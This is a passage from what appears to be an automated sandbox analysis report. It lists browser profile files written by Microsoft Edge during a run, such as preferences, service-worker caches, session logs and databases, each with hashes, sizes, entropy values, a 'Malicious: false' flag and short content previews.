Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF39878.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12456
Entropy (8bit):	5.2073910060123
Encrypted:	false
SSDEEP:	192:stBJ99QTryDigabatSuypOs4iIa34Hk7LT8ibV+FrjQA40kq7NIgPIYJ:stBPGKSu4Os4iXjbGvQx0X7NI8
MD5:	EFFCD8D824E4676E2A00143F77A94D65
SHA1:	F42C376319D01741131C914DC8A3E95F61A103D4
SHA-256:	DF5A9846AAF4A3DF9ACF4BB24FEAF7F4EE216D21FA63341FE80FFFEC0DE75DAC
SHA-512:	2E1CEBA939E2D103DF308896AA14458FAE61B0BC9F8575EF9FE3663A722D057B10AFD5FA4550AFEE17835018035BA37151B5EDACC72C79CEE15A6023995031D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.55488721282484
Encrypted:	false
SSDEEP:	768:jQPYu27pLGLp68WPEGfP48F1+UoAYDCx9Tuqh0VfUC9xbog/OVQyLB+rwoN3rqKI:jQPYuWcp68WPEGfP4u1jadaBboN3Oxth
MD5:	AA2427FD9A0C15BF0ACF99392DD43DCD
SHA1:	9A05FC6D799500AC087812EFF4A78F6A2514B8B1
SHA-256:	6DA30BF4E56816929410B083D02FD40525A5B21C6CCE666E8A9772352D6BB71D
SHA-512:	129DC5A48861F7275AEF4F411006EFF25067AE17D6925263A9EA4ED89909A68BF6AED31DBFFBAFC890CC94679A56F619803821B56864CE752DD9561548C4C0A6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376406558037556","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376406558037556","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2f93b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.55488721282484
Encrypted:	false
SSDEEP:	768:jQPYu27pLGLp68WPEGfP48F1+UoAYDCx9Tuqh0VfUC9xbog/OVQyLB+rwoN3rqKI:jQPYuWcp68WPEGfP4u1jadaBboN3Oxth
MD5:	AA2427FD9A0C15BF0ACF99392DD43DCD
SHA1:	9A05FC6D799500AC087812EFF4A78F6A2514B8B1
SHA-256:	6DA30BF4E56816929410B083D02FD40525A5B21C6CCE666E8A9772352D6BB71D
SHA-512:	129DC5A48861F7275AEF4F411006EFF25067AE17D6925263A9EA4ED89909A68BF6AED31DBFFBAFC890CC94679A56F619803821B56864CE752DD9561548C4C0A6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376406558037556","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376406558037556","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.839854701188075
Encrypted:	false
SSDEEP:	24:F2xc5Nm7cncmo0CRORpllg2DufRHVVdCRORpllg26Ngt7KCRORpllg2DRRHV0CRU:F2emktrdDufBvXrd6NgtyrdDRB2rd2B+
MD5:	5E7BFC6820A8DD6BCD8211A5FE39A6D5
SHA1:	0E29F484332EFB543A9AE151C5EE7352DFEF3A96
SHA-256:	A06A51774BA56FF044065513EDB01BB56FDFAFAA28537229A2FFEF879D15274E
SHA-512:	75494104C139A818C269E34FA9E49EF6596F8ACF77C9F01A1653A291A463CAAF352B0556E097A1554097EDCF90D951BE01C3F5E8EED1E332D687C4444518A0E0
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2...m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.168270662666096
Encrypted:	false
SSDEEP:	6:HUOs9s1CHhJ23oH+TcwtE/a252KLlVUOsw1L+q2PCHhJ23oH+TcwtE/a2ZIFUv:ugYeb8xLX+vBYeb8J2FUv
MD5:	914BF9E8724A38B7E5C14346A4F324ED
SHA1:	431A1D1877AF2B80AE60ADD21681DA5C5E40B8A2
SHA-256:	765EB71FEC5D309689A870BB6AC8A0B05D0708A7D9BE028445E06AB8A79B5023
SHA-512:	095DC96C6A0169B469E3A725ABE38D99883EA18D7C28BF91D18BADFD6597F9CAF3E33EBF0534EAC32E572F698A18E746C94EBDF9A3BF9955C1E1F83937441ED7
Malicious:	false
Preview:	2024/11/18-07:29:32.204 c9c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/18-07:29:32.222 c9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114467
Entropy (8bit):	5.578762773771331
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqSZi:d9LyxPXfOxr1lMe1nL/CL/TXEmilRWi
MD5:	D43E4683AAF87F3D4E27B24D4D50B763
SHA1:	40930E77970B371A9FCBCB65BD82F1B3FB104692
SHA-256:	43BDDB75D78538AC7797A7B0BBC420D0D35C72B83F42043436FD0E7BF7621E2B
SHA-512:	D818E8099AFCAB53BF5ADCD6DAE5827A22630F96474A11A4AA6054DB034668207DB82EC263B80AF24DB7F25B16AB3BAA488C22F1A3DF6A05B692D96736B5CF1F
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188977
Entropy (8bit):	6.386714265020703
Encrypted:	false
SSDEEP:	3072:v6gy+3i3tdeUwWAt8ycL/9iMXV0EEl4aSgr6xOv:LUw98dL/c81Eim+C
MD5:	B50F02356759D0E305FEAFCDFFEC61FB
SHA1:	D833C6C90F896223A37E0783610C13472DDE04D7
SHA-256:	F5B55EDC030DE92ABB5E827019D56E24C6C69D51E18945BBE297C07032020F3A
SHA-512:	50C14B2B53F2F85723015FB5E0B0A4824BC556A1794C0DA2FE70A2388FE57B24F46728182D52E4C5B3D321A05B5FEA39015625D10CEC42947C310735D0155642
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc........exports...Rc.......module....RcJ.......define....Rb.)7.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5549278751195694
Encrypted:	false
SSDEEP:	3:xJKctTXl/lR/lxEwlthdl+n:CujCQRl+n
MD5:	5CFEF0140D79BAF46F6F471409E28FEC
SHA1:	4B7FAC850B3247C85E95B42C1E86B6CF70CF031A
SHA-256:	DBAE7A39F1824330047CF7DC6C81FDD7E4E54E7CEAA1072B93948CB50C248019
SHA-512:	124302227C44199A5764A844F9352CA0E60BEE2B1B5FCA2454A5AD255178CA61E44980EA3712C9949C5CF61D9B01F9EA0236C9E8567DB6552680F6F3395B84A1
Malicious:	false
Preview:	@......$oy retne.........................X....,................*.)Z./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5549278751195694
Encrypted:	false
SSDEEP:	3:xJKctTXl/lR/lxEwlthdl+n:CujCQRl+n
MD5:	5CFEF0140D79BAF46F6F471409E28FEC
SHA1:	4B7FAC850B3247C85E95B42C1E86B6CF70CF031A
SHA-256:	DBAE7A39F1824330047CF7DC6C81FDD7E4E54E7CEAA1072B93948CB50C248019
SHA-512:	124302227C44199A5764A844F9352CA0E60BEE2B1B5FCA2454A5AD255178CA61E44980EA3712C9949C5CF61D9B01F9EA0236C9E8567DB6552680F6F3395B84A1
Malicious:	false
Preview:	@......$oy retne.........................X....,................*.)Z./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3101e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5549278751195694
Encrypted:	false
SSDEEP:	3:xJKctTXl/lR/lxEwlthdl+n:CujCQRl+n
MD5:	5CFEF0140D79BAF46F6F471409E28FEC
SHA1:	4B7FAC850B3247C85E95B42C1E86B6CF70CF031A
SHA-256:	DBAE7A39F1824330047CF7DC6C81FDD7E4E54E7CEAA1072B93948CB50C248019
SHA-512:	124302227C44199A5764A844F9352CA0E60BEE2B1B5FCA2454A5AD255178CA61E44980EA3712C9949C5CF61D9B01F9EA0236C9E8567DB6552680F6F3395B84A1
Malicious:	false
Preview:	@......$oy retne.........................X....,................*.)Z./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5847
Entropy (8bit):	3.402964770499683
Encrypted:	false
SSDEEP:	96:vkYoTwgd5SPYnQd0wmjic9Xp+0Pi+CifvvI5SLl9iSrK1UyhyY8:vpoD58Yq0wS9Xp+0qdifo5SLl9iSrKio
MD5:	EE1B040E428FCA94E39479017D70DE31
SHA1:	2766F4FFACAE3751E5D440B2C23D36589450B506
SHA-256:	7660A5EEFF8FAD90A9BF17547C4DDFF145F2351E81B5D8C92849B7054FA9FA65
SHA-512:	4EA151981D4F9FBEAD6DCBB812F85454744E7DC1234D611DA86637F3A45F02DEB82BB0A81B6BE687E3C4CA9FA77AE1215D7D16B2DFFB585486ECDE8FC847C7FE
Malicious:	false
Preview:	...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............8.%.b................next-map-id.1.Cnamespace-0cf06cb5_0b67_4105_8b65_7d4e6a830ee0-https://ntp.msn.com/.0...................map-0-shd_sweeper.{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.t.q.o.h.p.a.d.c.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.i.t.4.c.2.,.p.r.g.-.1.s.w.-.s.a.e.r.e.v.a.r.f.2.t.4.,.p.r.g.-.1.s.w.-.m.s.n.c.t.r.l.,.p.r.g.-.1.s.w.-.t.r.d.i.s.c.c.2.,.p.r.g.-.1.s.w.-.c.t.a.d.d.d.b.g.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.x.2.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.p.n.o.t.i.a.,.p.r.g.-.p.1.-.t.s.4.c.o.l.d.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.1.4.-.t.,.1.s.-.t.p.s.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.189106461991099
Encrypted:	false
SSDEEP:	6:HUOsdN9+q2PCHhJ23oH+TcwtrQMxIFUt8YUOsRJZmw+YUOslR9VkwOCHhJ23oH+L:TvBYebCFUt8P/+b56YebtJ
MD5:	9BC0DBA538AFFF7259C08DC943D394B1
SHA1:	03A12BDA0B92BEF14F086F319FAAE8A9EE5911FC
SHA-256:	783E451FB0928B2A19DFED906956C86279A4C145DF7548A23FC34BFC717A490B
SHA-512:	E56F2DED3B04B416258BEA6DC7813BD62EE01F4853DBF9762F0564E30DD17D47C6A2462A752935AAC7A30867BEFD9F4DB413628E0B0F262FA92263B73A5D8C8D
Malicious:	false
Preview:	2024/11/18-07:29:18.774 11d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/18-07:29:18.776 11d8 Recovering log #3.2024/11/18-07:29:18.778 11d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.189106461991099
Encrypted:	false
SSDEEP:	6:HUOsdN9+q2PCHhJ23oH+TcwtrQMxIFUt8YUOsRJZmw+YUOslR9VkwOCHhJ23oH+L:TvBYebCFUt8P/+b56YebtJ
MD5:	9BC0DBA538AFFF7259C08DC943D394B1
SHA1:	03A12BDA0B92BEF14F086F319FAAE8A9EE5911FC
SHA-256:	783E451FB0928B2A19DFED906956C86279A4C145DF7548A23FC34BFC717A490B
SHA-512:	E56F2DED3B04B416258BEA6DC7813BD62EE01F4853DBF9762F0564E30DD17D47C6A2462A752935AAC7A30867BEFD9F4DB413628E0B0F262FA92263B73A5D8C8D
Malicious:	false
Preview:	2024/11/18-07:29:18.774 11d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/18-07:29:18.776 11d8 Recovering log #3.2024/11/18-07:29:18.778 11d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376406560538634

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.796545041642145
Encrypted:	false
SSDEEP:	24:3h8B9pDvRDJpsAF4unxsttLp3X2amEtG1ChqgTj+ArbOvQKkOAM4q1:36DpdDJzFWLp2FEkChh+AXHHOp/
MD5:	696CAD9B5B43D843D1AF052FBA39D89C
SHA1:	265E15A3AAE466A86347A97EBF366A2CF526ADA0
SHA-256:	E4E3596EC8436FAC339159437701C8B4D42EBD64EEE464F10A9FE1D21A1B66B0
SHA-512:	DA996936D49F161C29173747D2732285FA762AAAED3BB6100C482D355857197F89A91E09132A1F28C17E7DBA53B232DBDF281952FDCD75C9D849394D57499D66
Malicious:	false
Preview:	SNSS.......76.............76........"76.............76.........76.........86.........86......!..86.................................76..86..1..,...86..$...0cf06cb5_0b67_4105_8b65_7d4e6a830ee0...76.........86......o..........76.....76.........................76......................5..0...76..&...{890D5FC3-0C4C-4214-A93A-B8E730A022A1}.....76.........76............................86.............86..........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........../'....../'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.157515314543351
Encrypted:	false
SSDEEP:	6:HUOs0LwVq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YUOs0LwgZmw+YUOsvVSIkwOCHhJr:lLwVvBYebIhHh2FUt8oLwg/+kI56Yebs
MD5:	07AC5D3E9CC8A7DBD8DF744B674E31E3
SHA1:	70FEE97FE6E71CCDD1E9D76876D46A79E3E3285C
SHA-256:	741A3CC165CE176F6EEB88418A5C9246FEDF3F5AD45B37EF51BAC6B1F8A927B8
SHA-512:	9308BFC7911E06E4E27CF9BB60DE7A66DC3D657B2CC799D40A7B586D40415BB89E77443DFA9E1D63190102272250E193B969E9E354F41A37CF8A9B415DD44D62
Malicious:	false
Preview:	2024/11/18-07:29:18.173 8f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/18-07:29:18.173 8f0 Recovering log #3.2024/11/18-07:29:18.174 8f0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.157515314543351
Encrypted:	false
SSDEEP:	6:HUOs0LwVq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YUOs0LwgZmw+YUOsvVSIkwOCHhJr:lLwVvBYebIhHh2FUt8oLwg/+kI56Yebs
MD5:	07AC5D3E9CC8A7DBD8DF744B674E31E3
SHA1:	70FEE97FE6E71CCDD1E9D76876D46A79E3E3285C
SHA-256:	741A3CC165CE176F6EEB88418A5C9246FEDF3F5AD45B37EF51BAC6B1F8A927B8
SHA-512:	9308BFC7911E06E4E27CF9BB60DE7A66DC3D657B2CC799D40A7B586D40415BB89E77443DFA9E1D63190102272250E193B969E9E354F41A37CF8A9B415DD44D62
Malicious:	false
